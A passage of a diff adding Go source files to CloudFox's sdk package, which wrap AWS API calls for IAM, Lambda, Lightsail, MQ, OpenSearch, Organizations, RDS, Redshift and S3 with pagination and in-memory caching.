var Policies []iamTypes.ManagedPolicyDetail
|
||||
var AllAccountAuthorizationDetails = customGAADOutput{
|
||||
GroupDetailList: GroupDetailList,
|
||||
UserDetailList: UserDetailList,
|
||||
RoleDetailList: RoleDetailList,
|
||||
Policies: Policies,
|
||||
}
|
||||
|
||||
cacheKey := fmt.Sprintf("%s-iam-GetAccountAuthorizationDetails", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.(customGAADOutput), nil
|
||||
}
|
||||
|
||||
for {
|
||||
GetAccountAuthorizationDetails, err := IAMClient.GetAccountAuthorizationDetails(
|
||||
context.TODO(),
|
||||
&iam.GetAccountAuthorizationDetailsInput{
|
||||
Marker: PaginationControl,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
return AllAccountAuthorizationDetails, err
|
||||
}
|
||||
|
||||
AllAccountAuthorizationDetails.GroupDetailList = append(AllAccountAuthorizationDetails.GroupDetailList, GetAccountAuthorizationDetails.GroupDetailList...)
|
||||
AllAccountAuthorizationDetails.UserDetailList = append(AllAccountAuthorizationDetails.UserDetailList, GetAccountAuthorizationDetails.UserDetailList...)
|
||||
AllAccountAuthorizationDetails.RoleDetailList = append(AllAccountAuthorizationDetails.RoleDetailList, GetAccountAuthorizationDetails.RoleDetailList...)
|
||||
AllAccountAuthorizationDetails.Policies = append(AllAccountAuthorizationDetails.Policies, GetAccountAuthorizationDetails.Policies...)
|
||||
|
||||
if GetAccountAuthorizationDetails.Marker != nil {
|
||||
PaginationControl = GetAccountAuthorizationDetails.Marker
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, AllAccountAuthorizationDetails, cache.DefaultExpiration)
|
||||
return AllAccountAuthorizationDetails, nil
|
||||
|
||||
}
|
||||
|
||||
func CachedIamSimulatePrincipalPolicy(IAMClient AWSIAMClientInterface, accountID string, principal *string, actionNames []string, resourceArns []string) ([]iamTypes.EvaluationResult, error) {
|
||||
var PaginationControl2 *string
|
||||
var EvaluationResults []iamTypes.EvaluationResult
|
||||
md5hashedActionNames := md5.Sum([]byte(strings.Join(actionNames, "")))
|
||||
md5hashedResourceArns := md5.Sum([]byte(strings.Join(resourceArns, "")))
|
||||
// proccess arn and get the name of the resource
|
||||
arn, err := arn.Parse(*principal)
|
||||
if err != nil {
|
||||
return EvaluationResults, err
|
||||
}
|
||||
name := arn.Resource
|
||||
// if name has muliplte / then get the last one
|
||||
if strings.Contains(arn.Resource, "/") {
|
||||
name = arn.Resource[strings.LastIndex(arn.Resource, "/")+1:]
|
||||
}
|
||||
|
||||
truncatedHashLength := 8
|
||||
cacheKey := fmt.Sprintf("%s-iamSimulator-%s-%s-%s", accountID, name, hex.EncodeToString(md5hashedActionNames[:truncatedHashLength]), hex.EncodeToString(md5hashedResourceArns[:truncatedHashLength]))
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]iamTypes.EvaluationResult), nil
|
||||
}
|
||||
|
||||
for {
|
||||
SimulatePrincipalPolicy, err := IAMClient.SimulatePrincipalPolicy(
|
||||
context.TODO(),
|
||||
&iam.SimulatePrincipalPolicyInput{
|
||||
Marker: PaginationControl2,
|
||||
ActionNames: actionNames,
|
||||
PolicySourceArn: principal,
|
||||
ResourceArns: resourceArns,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
return EvaluationResults, err
|
||||
}
|
||||
|
||||
EvaluationResults = append(EvaluationResults, SimulatePrincipalPolicy.EvaluationResults...)
|
||||
|
||||
if SimulatePrincipalPolicy.Marker != nil {
|
||||
PaginationControl2 = SimulatePrincipalPolicy.Marker
|
||||
} else {
|
||||
PaginationControl2 = nil
|
||||
break
|
||||
}
|
||||
|
||||
}
|
||||
internal.Cache.Set(cacheKey, EvaluationResults, cache.DefaultExpiration)
|
||||
return EvaluationResults, nil
|
||||
}
|
||||
@@ -0,0 +1,147 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/lambda"
|
||||
lambdaTypes "github.com/aws/aws-sdk-go-v2/service/lambda/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type LambdaClientInterface interface {
|
||||
ListFunctions(context.Context, *lambda.ListFunctionsInput, ...func(*lambda.Options)) (*lambda.ListFunctionsOutput, error)
|
||||
GetFunction(context.Context, *lambda.GetFunctionInput, ...func(*lambda.Options)) (*lambda.GetFunctionOutput, error)
|
||||
GetFunctionUrlConfig(context.Context, *lambda.GetFunctionUrlConfigInput, ...func(*lambda.Options)) (*lambda.GetFunctionUrlConfigOutput, error)
|
||||
}
|
||||
|
||||
func RegisterLambdaTypes() {
|
||||
gob.Register([]lambdaTypes.FunctionConfiguration{})
|
||||
gob.Register(customGetFuntionURLOutput{})
|
||||
}
|
||||
|
||||
// create a CachedLambdaListFunctions function that accepts a lambda client, account id, region. Make sure it uses go-cache and handles the region option and pagination
|
||||
func CachedLambdaListFunctions(client LambdaClientInterface, accountID string, region string) ([]lambdaTypes.FunctionConfiguration, error) {
|
||||
var PaginationControl *string
|
||||
var functions []lambdaTypes.FunctionConfiguration
|
||||
cacheKey := fmt.Sprintf("%s-lambda-ListFunctions-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]lambdaTypes.FunctionConfiguration), nil
|
||||
}
|
||||
|
||||
for {
|
||||
ListFunctions, err := client.ListFunctions(
|
||||
context.TODO(),
|
||||
&lambda.ListFunctionsInput{
|
||||
Marker: PaginationControl,
|
||||
},
|
||||
func(o *lambda.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return functions, err
|
||||
}
|
||||
|
||||
functions = append(functions, ListFunctions.Functions...)
|
||||
|
||||
//pagination
|
||||
if ListFunctions.NextMarker == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = ListFunctions.NextMarker
|
||||
}
|
||||
internal.Cache.Set(cacheKey, functions, cache.DefaultExpiration)
|
||||
|
||||
return functions, nil
|
||||
}
|
||||
|
||||
type customGetFuntionURLOutput struct {
|
||||
// The type of authentication that your function URL uses. Set to AWS_IAM if you
|
||||
// want to restrict access to authenticated users only. Set to NONE if you want to
|
||||
// bypass IAM authentication to create a public endpoint. For more information, see
|
||||
// Security and auth model for Lambda function URLs (https://docs.aws.amazon.com/lambda/latest/dg/urls-auth.html)
|
||||
// .
|
||||
//
|
||||
// This member is required.
|
||||
AuthType lambdaTypes.FunctionUrlAuthType
|
||||
|
||||
// When the function URL was created, in ISO-8601 format (https://www.w3.org/TR/NOTE-datetime)
|
||||
// (YYYY-MM-DDThh:mm:ss.sTZD).
|
||||
//
|
||||
// This member is required.
|
||||
CreationTime *string
|
||||
|
||||
// The Amazon Resource Name (ARN) of your function.
|
||||
//
|
||||
// This member is required.
|
||||
FunctionArn *string
|
||||
|
||||
// The HTTP URL endpoint for your function.
|
||||
//
|
||||
// This member is required.
|
||||
FunctionUrl *string
|
||||
|
||||
// When the function URL configuration was last updated, in ISO-8601 format (https://www.w3.org/TR/NOTE-datetime)
|
||||
// (YYYY-MM-DDThh:mm:ss.sTZD).
|
||||
//
|
||||
// This member is required.
|
||||
LastModifiedTime *string
|
||||
|
||||
// The cross-origin resource sharing (CORS) (https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)
|
||||
// settings for your function URL.
|
||||
Cors *lambdaTypes.Cors
|
||||
|
||||
// Use one of the following options:
|
||||
// - BUFFERED – This is the default option. Lambda invokes your function using
|
||||
// the Invoke API operation. Invocation results are available when the payload is
|
||||
// complete. The maximum payload size is 6 MB.
|
||||
// - RESPONSE_STREAM – Your function streams payload results as they become
|
||||
// available. Lambda invokes your function using the InvokeWithResponseStream API
|
||||
// operation. The maximum response payload size is 20 MB, however, you can
|
||||
// request a quota increase (https://docs.aws.amazon.com/servicequotas/latest/userguide/request-quota-increase.html)
|
||||
// .
|
||||
InvokeMode lambdaTypes.InvokeMode
|
||||
}
|
||||
|
||||
// create a CachedLambdaGetFunctionUrlConfig function that accepts a lambda client, account id, region, and function name. Make sure it uses go-cache and handles the region option
|
||||
func CachedLambdaGetFunctionUrlConfig(client LambdaClientInterface, accountID string, region string, functionName string) (customGetFuntionURLOutput, error) {
|
||||
var functionUrlConfigOutput customGetFuntionURLOutput
|
||||
cacheKey := fmt.Sprintf("%s-lambda-GetFunctionUrlConfig-%s-%s", accountID, region, functionName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.(customGetFuntionURLOutput), nil
|
||||
}
|
||||
|
||||
GetFunctionUrlConfig, err := client.GetFunctionUrlConfig(
|
||||
context.TODO(),
|
||||
&lambda.GetFunctionUrlConfigInput{
|
||||
FunctionName: &functionName,
|
||||
},
|
||||
func(o *lambda.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return functionUrlConfigOutput, err
|
||||
}
|
||||
|
||||
functionUrlConfigOutput = customGetFuntionURLOutput{
|
||||
AuthType: GetFunctionUrlConfig.AuthType,
|
||||
CreationTime: GetFunctionUrlConfig.CreationTime,
|
||||
FunctionArn: GetFunctionUrlConfig.FunctionArn,
|
||||
FunctionUrl: GetFunctionUrlConfig.FunctionUrl,
|
||||
LastModifiedTime: GetFunctionUrlConfig.LastModifiedTime,
|
||||
Cors: GetFunctionUrlConfig.Cors,
|
||||
InvokeMode: GetFunctionUrlConfig.InvokeMode,
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, functionUrlConfigOutput, cache.DefaultExpiration)
|
||||
|
||||
return functionUrlConfigOutput, nil
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/lightsail"
|
||||
lightsailTypes "github.com/aws/aws-sdk-go-v2/service/lightsail/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type lightsailClientInterface interface {
|
||||
GetInstances(context.Context, *lightsail.GetInstancesInput, ...func(*lightsail.Options)) (*lightsail.GetInstancesOutput, error)
|
||||
GetContainerServices(context.Context, *lightsail.GetContainerServicesInput, ...func(*lightsail.Options)) (*lightsail.GetContainerServicesOutput, error)
|
||||
}
|
||||
|
||||
func RegisterLightsailTypes() {
|
||||
//gob.Register([]lightsailTypes.Instance{})
|
||||
gob.Register([]lightsailTypes.ContainerService{})
|
||||
|
||||
}
|
||||
|
||||
func CachedLightsailGetInstances(client lightsailClientInterface, accountID string, region string) ([]lightsailTypes.Instance, error) {
|
||||
var PaginationControl *string
|
||||
var services []lightsailTypes.Instance
|
||||
|
||||
// TODO: When caching is enabled, this []lightsailTypes.Instance type clashes with the EC instance type when it comes to gob.Register. need to figure out how to register both types
|
||||
// cacheKey := fmt.Sprintf("%s-lightsail-GetInstances-%s", accountID, region)
|
||||
// cached, found := internal.Cache.Get(cacheKey)
|
||||
// if found {
|
||||
// return cached.([]lightsailTypes.Instance), nil
|
||||
// }
|
||||
for {
|
||||
GetInstances, err := client.GetInstances(
|
||||
context.TODO(),
|
||||
&lightsail.GetInstancesInput{
|
||||
PageToken: PaginationControl,
|
||||
},
|
||||
func(o *lightsail.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return services, err
|
||||
}
|
||||
|
||||
services = append(services, GetInstances.Instances...)
|
||||
|
||||
//pagination
|
||||
if GetInstances.NextPageToken == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = GetInstances.NextPageToken
|
||||
}
|
||||
|
||||
// TODO: When caching is enabled, this []lightsailTypes.Instance type clashes with the EC instance type when it comes to gob.Register. need to figure out how to register both types
|
||||
//internal.Cache.Set(cacheKey, services, cache.DefaultExpiration)
|
||||
return services, nil
|
||||
}
|
||||
|
||||
func CachedLightsailGetContainerServices(client lightsailClientInterface, accountID string, region string) ([]lightsailTypes.ContainerService, error) {
|
||||
var services []lightsailTypes.ContainerService
|
||||
cacheKey := fmt.Sprintf("%s-lightsail-GetContainerService-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]lightsailTypes.ContainerService), nil
|
||||
}
|
||||
GetInstances, err := client.GetContainerServices(
|
||||
context.TODO(),
|
||||
&lightsail.GetContainerServicesInput{},
|
||||
func(o *lightsail.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return services, err
|
||||
}
|
||||
|
||||
services = append(services, GetInstances.ContainerServices...)
|
||||
|
||||
internal.Cache.Set(cacheKey, services, cache.DefaultExpiration)
|
||||
return services, nil
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/mq"
|
||||
mqTypes "github.com/aws/aws-sdk-go-v2/service/mq/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type MQClientInterface interface {
|
||||
ListBrokers(context.Context, *mq.ListBrokersInput, ...func(*mq.Options)) (*mq.ListBrokersOutput, error)
|
||||
}
|
||||
|
||||
func RegisterMQTypes() {
|
||||
gob.Register([]mqTypes.BrokerSummary{})
|
||||
}
|
||||
|
||||
// create CachedMQListBrokers function that uses go-cache and pagination
|
||||
func CachedMQListBrokers(client MQClientInterface, accountID string, region string) ([]mqTypes.BrokerSummary, error) {
|
||||
var PaginationControl *string
|
||||
var brokers []mqTypes.BrokerSummary
|
||||
cacheKey := fmt.Sprintf("%s-mq-ListBrokers-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]mqTypes.BrokerSummary), nil
|
||||
}
|
||||
|
||||
for {
|
||||
ListBrokers, err := client.ListBrokers(
|
||||
context.TODO(),
|
||||
&mq.ListBrokersInput{
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *mq.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return brokers, err
|
||||
}
|
||||
|
||||
brokers = append(brokers, ListBrokers.BrokerSummaries...)
|
||||
|
||||
//pagination
|
||||
if ListBrokers.NextToken == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = ListBrokers.NextToken
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, brokers, cache.DefaultExpiration)
|
||||
return brokers, nil
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/opensearch"
|
||||
openSearchTypes "github.com/aws/aws-sdk-go-v2/service/opensearch/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type OpenSearchClientInterface interface {
|
||||
ListDomainNames(context.Context, *opensearch.ListDomainNamesInput, ...func(*opensearch.Options)) (*opensearch.ListDomainNamesOutput, error)
|
||||
DescribeDomainConfig(context.Context, *opensearch.DescribeDomainConfigInput, ...func(*opensearch.Options)) (*opensearch.DescribeDomainConfigOutput, error)
|
||||
}
|
||||
|
||||
func RegisterOpenSearchTypes() {
|
||||
gob.Register([]openSearchTypes.DomainInfo{})
|
||||
gob.Register(openSearchTypes.DomainConfig{})
|
||||
}
|
||||
|
||||
// create CachedOpenSearchListDomainNames function that uses go-cache and pagination
|
||||
func CachedOpenSearchListDomainNames(client OpenSearchClientInterface, accountID string, region string) ([]openSearchTypes.DomainInfo, error) {
|
||||
var domains []openSearchTypes.DomainInfo
|
||||
cacheKey := fmt.Sprintf("%s-opensearch-ListDomainNames-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]openSearchTypes.DomainInfo), nil
|
||||
}
|
||||
|
||||
ListDomainNames, err := client.ListDomainNames(
|
||||
context.TODO(),
|
||||
&opensearch.ListDomainNamesInput{},
|
||||
func(o *opensearch.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return domains, err
|
||||
}
|
||||
|
||||
domains = append(domains, ListDomainNames.DomainNames...)
|
||||
|
||||
internal.Cache.Set(cacheKey, domains, cache.DefaultExpiration)
|
||||
return domains, nil
|
||||
}
|
||||
|
||||
// create CachedOpenSearchDescribeDomainConfig function that uses go-cache and pagination and supports region option
|
||||
func CachedOpenSearchDescribeDomainConfig(client OpenSearchClientInterface, accountID string, region string, domainName string) (openSearchTypes.DomainConfig, error) {
|
||||
var DomainConfig openSearchTypes.DomainConfig
|
||||
cacheKey := fmt.Sprintf("%s-opensearch-DescribeDomainConfig-%s-%s", accountID, region, domainName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.(openSearchTypes.DomainConfig), nil
|
||||
}
|
||||
DescribeDomainConfig, err := client.DescribeDomainConfig(
|
||||
context.TODO(),
|
||||
&opensearch.DescribeDomainConfigInput{
|
||||
DomainName: &domainName,
|
||||
},
|
||||
func(o *opensearch.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return DomainConfig, err
|
||||
}
|
||||
|
||||
DomainConfig = *DescribeDomainConfig.DomainConfig
|
||||
|
||||
internal.Cache.Set(cacheKey, DomainConfig, cache.DefaultExpiration)
|
||||
return DomainConfig, nil
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/organizations"
|
||||
orgTypes "github.com/aws/aws-sdk-go-v2/service/organizations/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type OrganizationsClientInterface interface {
|
||||
ListAccounts(ctx context.Context, params *organizations.ListAccountsInput, optFns ...func(*organizations.Options)) (*organizations.ListAccountsOutput, error)
|
||||
DescribeOrganization(ctx context.Context, params *organizations.DescribeOrganizationInput, optFns ...func(*organizations.Options)) (*organizations.DescribeOrganizationOutput, error)
|
||||
}
|
||||
|
||||
func RegisterOrganizationsTypes() {
|
||||
gob.Register([]orgTypes.Account{})
|
||||
//gob.Register(orgTypes.Organization{})
|
||||
}
|
||||
|
||||
// create a CachedOrganizationsListAccounts function that uses go-cache and pagination and returns a list of accounts
|
||||
func CachedOrganizationsListAccounts(client OrganizationsClientInterface, accountID string) ([]orgTypes.Account, error) {
|
||||
var PaginationControl *string
|
||||
var accounts []orgTypes.Account
|
||||
cacheKey := fmt.Sprintf("%s-organizations-ListAccounts", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]orgTypes.Account), nil
|
||||
}
|
||||
|
||||
for {
|
||||
ListAccounts, err := client.ListAccounts(
|
||||
context.TODO(),
|
||||
&organizations.ListAccountsInput{
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return accounts, err
|
||||
}
|
||||
|
||||
accounts = append(accounts, ListAccounts.Accounts...)
|
||||
|
||||
//pagination
|
||||
if ListAccounts.NextToken == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = ListAccounts.NextToken
|
||||
}
|
||||
internal.Cache.Set(cacheKey, accounts, cache.DefaultExpiration)
|
||||
|
||||
return accounts, nil
|
||||
}
|
||||
|
||||
// create a CachedOrganizationsDescribeOrganization function that uses go-cache and returns an organization
|
||||
func CachedOrganizationsDescribeOrganization(client OrganizationsClientInterface, accountID string) (*orgTypes.Organization, error) {
|
||||
var organization *orgTypes.Organization
|
||||
cacheKey := fmt.Sprintf("%s-organizations-DescribeOrganization", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.(*orgTypes.Organization), nil
|
||||
}
|
||||
|
||||
DescribeOrganization, err := client.DescribeOrganization(
|
||||
context.TODO(),
|
||||
&organizations.DescribeOrganizationInput{},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return organization, err
|
||||
}
|
||||
|
||||
organization = DescribeOrganization.Organization
|
||||
internal.Cache.Set(cacheKey, organization, cache.DefaultExpiration)
|
||||
|
||||
return organization, nil
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/rds"
|
||||
rdsTypes "github.com/aws/aws-sdk-go-v2/service/rds/types"
|
||||
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type RDSClientInterface interface {
|
||||
DescribeDBInstances(context.Context, *rds.DescribeDBInstancesInput, ...func(*rds.Options)) (*rds.DescribeDBInstancesOutput, error)
|
||||
}
|
||||
|
||||
func RegisterRDSTypes() {
|
||||
gob.Register([]rdsTypes.DBInstance{})
|
||||
}
|
||||
|
||||
func CachedRDSDescribeDBInstances(client RDSClientInterface, accountID string, region string) ([]rdsTypes.DBInstance, error) {
|
||||
var PaginationControl *string
|
||||
var instances []rdsTypes.DBInstance
|
||||
cacheKey := fmt.Sprintf("%s-rds-DescribeDBInstances-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]rdsTypes.DBInstance), nil
|
||||
}
|
||||
for {
|
||||
DescribeDBInstances, err := client.DescribeDBInstances(
|
||||
context.TODO(),
|
||||
&rds.DescribeDBInstancesInput{
|
||||
Marker: PaginationControl,
|
||||
},
|
||||
func(o *rds.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return instances, err
|
||||
}
|
||||
|
||||
instances = append(instances, DescribeDBInstances.DBInstances...)
|
||||
|
||||
//pagination
|
||||
if DescribeDBInstances.Marker == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = DescribeDBInstances.Marker
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, instances, cache.DefaultExpiration)
|
||||
return instances, nil
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/redshift"
|
||||
redshiftTypes "github.com/aws/aws-sdk-go-v2/service/redshift/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type RedShiftClientInterface interface {
|
||||
DescribeClusters(context.Context, *redshift.DescribeClustersInput, ...func(*redshift.Options)) (*redshift.DescribeClustersOutput, error)
|
||||
}
|
||||
|
||||
func RegisterRedShiftTypes() {
|
||||
gob.Register([]redshiftTypes.Cluster{})
|
||||
}
|
||||
|
||||
func CachedRedShiftDescribeClusters(client RedShiftClientInterface, accountID string, region string) ([]redshiftTypes.Cluster, error) {
|
||||
var PaginationControl *string
|
||||
var clusters []redshiftTypes.Cluster
|
||||
cacheKey := fmt.Sprintf("%s-redshift-DescribeClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
return cached.([]redshiftTypes.Cluster), nil
|
||||
}
|
||||
for {
|
||||
DescribeClusters, err := client.DescribeClusters(
|
||||
context.TODO(),
|
||||
&redshift.DescribeClustersInput{
|
||||
Marker: PaginationControl,
|
||||
},
|
||||
func(o *redshift.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return clusters, err
|
||||
}
|
||||
|
||||
clusters = append(clusters, DescribeClusters.Clusters...)
|
||||
|
||||
//pagination
|
||||
if DescribeClusters.Marker == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = DescribeClusters.Marker
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, clusters, cache.DefaultExpiration)
|
||||
return clusters, nil
|
||||
}
|
||||
+124
@@ -0,0 +1,124 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/s3"
|
||||
s3Types "github.com/aws/aws-sdk-go-v2/service/s3/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
)
|
||||
|
||||
type AWSS3ClientInterface interface {
|
||||
ListBuckets(ctx context.Context, params *s3.ListBucketsInput, optFns ...func(*s3.Options)) (*s3.ListBucketsOutput, error)
|
||||
GetBucketPolicy(ctx context.Context, params *s3.GetBucketPolicyInput, optFns ...func(*s3.Options)) (*s3.GetBucketPolicyOutput, error)
|
||||
GetBucketLocation(ctx context.Context, params *s3.GetBucketLocationInput, optFns ...func(*s3.Options)) (*s3.GetBucketLocationOutput, error)
|
||||
GetPublicAccessBlock(ctx context.Context, params *s3.GetPublicAccessBlockInput, optFns ...func(*s3.Options)) (*s3.GetPublicAccessBlockOutput, error)
|
||||
}
|
||||
|
||||
func RegisterS3Types() {
|
||||
gob.Register([]s3Types.Bucket{})
|
||||
gob.Register(s3Types.Bucket{})
|
||||
gob.Register(&s3Types.PublicAccessBlockConfiguration{})
|
||||
}
|
||||
|
||||
func CachedListBuckets(S3Client AWSS3ClientInterface, accountID string) ([]s3Types.Bucket, error) {
|
||||
var buckets []s3Types.Bucket
|
||||
cacheKey := fmt.Sprintf("%s-s3-ListBuckets", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached data for ListBuckets data")
|
||||
return cached.([]s3Types.Bucket), nil
|
||||
|
||||
}
|
||||
ListBuckets, err := S3Client.ListBuckets(
|
||||
context.TODO(),
|
||||
&s3.ListBucketsInput{},
|
||||
)
|
||||
if err != nil {
|
||||
return buckets, err
|
||||
}
|
||||
|
||||
buckets = append(buckets, ListBuckets.Buckets...)
|
||||
internal.Cache.Set(cacheKey, buckets, cache.DefaultExpiration)
|
||||
return buckets, nil
|
||||
|
||||
}
|
||||
|
||||
func CachedGetBucketLocation(S3Client AWSS3ClientInterface, accountID string, bucketName string) (string, error) {
|
||||
cacheKey := fmt.Sprintf("%s-s3-GetBucketLocation-%s", accountID, bucketName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached data for GetBucketLocation data")
|
||||
return cached.(string), nil
|
||||
}
|
||||
GetBucketRegion, err := S3Client.GetBucketLocation(
|
||||
context.TODO(),
|
||||
&s3.GetBucketLocationInput{
|
||||
Bucket: &bucketName,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
location := string(GetBucketRegion.LocationConstraint)
|
||||
if location == "" {
|
||||
location = "us-east-1"
|
||||
}
|
||||
internal.Cache.Set(cacheKey, location, cache.DefaultExpiration)
|
||||
return location, err
|
||||
}
|
||||
|
||||
func CachedGetBucketPolicy(S3Client AWSS3ClientInterface, accountID string, r string, bucketName string) (string, error) {
|
||||
cacheKey := fmt.Sprintf("%s-s3-GetBucketPolicy-%s-%s", accountID, r, bucketName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached data for GetBucketPolicy data")
|
||||
return cached.(string), nil
|
||||
}
|
||||
|
||||
BucketPolicyObject, err := S3Client.GetBucketPolicy(
|
||||
context.TODO(),
|
||||
&s3.GetBucketPolicyInput{
|
||||
Bucket: &bucketName,
|
||||
},
|
||||
func(o *s3.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, aws.ToString(BucketPolicyObject.Policy), cache.DefaultExpiration)
|
||||
return *BucketPolicyObject.Policy, nil
|
||||
|
||||
}
|
||||
|
||||
func CachedGetPublicAccessBlock(S3Client AWSS3ClientInterface, accountID string, r string, bucketName string) (*s3Types.PublicAccessBlockConfiguration, error) {
|
||||
cacheKey := fmt.Sprintf("%s-s3-GetPublicAccessBlock-%s-%s", accountID, r, bucketName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached data for GetPublicAccessBlock data")
|
||||
return cached.(*s3Types.PublicAccessBlockConfiguration), nil
|
||||
}
|
||||
|
||||
PublicAccessBlock, err := S3Client.GetPublicAccessBlock(
|
||||
context.TODO(),
|
||||
&s3.GetPublicAccessBlockInput{
|
||||
Bucket: &bucketName,
|
||||
},
|
||||
func(o *s3.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
internal.Cache.Set(cacheKey, PublicAccessBlock.PublicAccessBlockConfiguration, cache.DefaultExpiration)
|
||||
return PublicAccessBlock.PublicAccessBlockConfiguration, err
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
package sdk
|
||||
|
||||
import (
|
||||
